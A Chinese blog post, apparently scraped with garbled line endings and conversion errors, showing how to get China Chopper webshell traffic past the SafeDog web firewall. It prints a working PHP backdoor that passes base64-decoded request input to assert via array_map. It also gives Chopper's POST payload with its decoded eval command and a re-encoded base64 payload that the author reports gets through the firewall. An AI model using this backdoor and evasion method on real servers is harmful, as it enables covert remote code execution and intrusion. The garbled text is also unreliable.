既然木马已就绪,那么想要利用木马,必然有一个数据传输的过程,数据提交是必须的,数据返回通常也会有的,除非执行特殊命令。php
当咱们用普通菜刀链接后门时,数据时如何提交的,狗狗又是如何识别的,下面结合一个实例,用通俗易懂的方式来演示数据提交层直接过狗原理。nginx
本文意义:纵使网上有不少修改菜刀过狗的方法,可是我都看了下,局限性比较大,并且不太系统,新人学了可能会只是其一不知其二apache
环境:安全
域名与服务器均为我的真实全部。服务器
服务器开启网站安全狗+服务器安全狗,引擎所有开启,最高防御级别。函数
对比环境:post
服务器:apache+php5.3;本地:nginx+php5.3无狗环境做为对比网站
本地与有狗服务器具备相同的后门代码与连接方式加密
说明:本文仅分析过狗原理与代码实现,技术层面探讨,菜刀或者其余软件制做与修改本文不予讨论。lua
后门文件:
$a=array(base64_decode($_REQUEST['a']));
@array_map("assert",$a);
菜刀链接方式:http://localhost/test.php?xx=YXNzZXJ0KCRfUkVRVUVTVFsnc29maWEnXSk= 密码:sofia
该文件特征层面可过狗 ,上一篇文章已提到,
咱们知道,菜刀已存在这么多年,安全狗早已对菜刀的特征门清,咱们先来看下菜刀链接的时候特征是什么。
这是我随便链接的一个后门,其实无论后门代码是什么,打开文件管理,菜刀提交的数据都是同样的,如图
代码为:
sofia=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7ZWNobyAkRC4iXHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCRMLiI6IikpZWNobygkTC4iOiIpO307ZWNobygifDwtIik7ZGllKCk7
命令执行代码,base64_decode结果为如下,获取当前目录与磁盘名
@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);echo $D."\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir($L.":"))echo($L.":");};echo("|<-");die();
其中参数名“sofia”就是咱们所谓的菜刀密码不须要多解释吧?
那么咱们在本地手工提交菜刀的post数据看一下:
本地正常返回当前目录与磁盘名,而服务端未显示,必定是被拦截咯,事实证实确实如此:
那为何没蹦出拦截框呢?
根据个人经验,通常文件特征层能检测到是后门,才会弹窗,数据层通常不弹,固然,这只是我我的看法,可能不严谨。
其实狗狗对后门的检测文件特征是与数据提交检测机制是彻底独立的。
为了验证这一点,我在同目录下创建一个null.php,内容为正常代码:
当不post数据时,正常输出内容,说明文件自己没有问题
把狗狗的post数据发一下试试?
又没有回显了,再去狗狗日志看下:
那么很明显了,菜刀的post数据已是个大特征了。
相信你们都能看出来这个eval太惹眼了(固然,其余版本或者其余waf检测的可能会是$_POST,或base64_decode)
sofia=@eval(base64_decode($_POST[z0]));
虽然看上去数据提交不怎么注重隐蔽,可是不得不认可菜刀是个伟大发明。
由于php后门五花八门,接受数据的类型与格式各不相同,因而菜刀就在post数据中再次构造一个执行代码,使得php后门接收到的数据所有统一为:“eval('执行命令')”,这样才使得菜刀的易用性才那么强。
具体代码执行与返回请参考上一章节
既然缘由清楚了,咱们接下来就修改post数据,修改的重点就在于替换eval特征。
可是post数据中发挥空间过小,暂时没想到什么好办法。
这里可能就须要用一些其余回调函数,或者其余猥琐姿式,可以直接执行来自post的base64加密后的纯执行语句。
前面说过,post数据最终的结果为:eval('执行命令')”,并且咱们的语句对a参数已经decode的了
$a=array(base64_decode($_REQUEST['a']));
那么就直接把整个eval语句base64加密一下便可,
那么咱们菜刀原始的利用语句能够这么构造:
eval('@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);echo $D."\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir($L.":"))echo($L.":");};echo("|<-");die();')
而后把这句话base64加密下,获得:
ZXZhbCgnQGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7ZWNobyAkRC4iXHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCRMLiI6IikpZWNobygkTC4iOiIpO307ZWNobygifDwtIik7ZGllKCk7Jyk=
ok,那么这时候咱们是直接把这句话传给$a的,那么post数据为:
a=ZXZhbCgnQGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7ZWNobyAkRC4iXHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCRMLiI6IikpZWNobygkTC4iOiIpO307ZWNobygifDwtIik7ZGllKCk7Jyk=
试试?
成功返回结果,换个语句试试?
至此,这是数据流层面的过狗方式,固然过狗思路千千万,不限于这一种,更多的是须要你们去发掘。
另外,
这里要跟你们提一点,assert函数与eval函数是彻底不一样的函数,不要觉得能出phpinfo()结果就是过狗了,assert能执行phpinfo()一类的函数,可是其余php语句仍是是须要借用eval的,固然,执行命令也不限于eval,还有各类回调函数。
怎么?你是否是还想问菜刀怎么连?
本文开头说了,这里仅讨论技术自己,至于如何去用,那么,会php的人,看了这篇文字,应该已经有思路了,
而不会php的人,可能就想着:“博客赶忙给我来个一句话加软件,最好打开就能用”,而后偷偷窃喜期望它能平天下。
我仍是那句话,安全之路,咱们大多数人还只是个学者,但愿多关注技术自己,不要膨胀才好。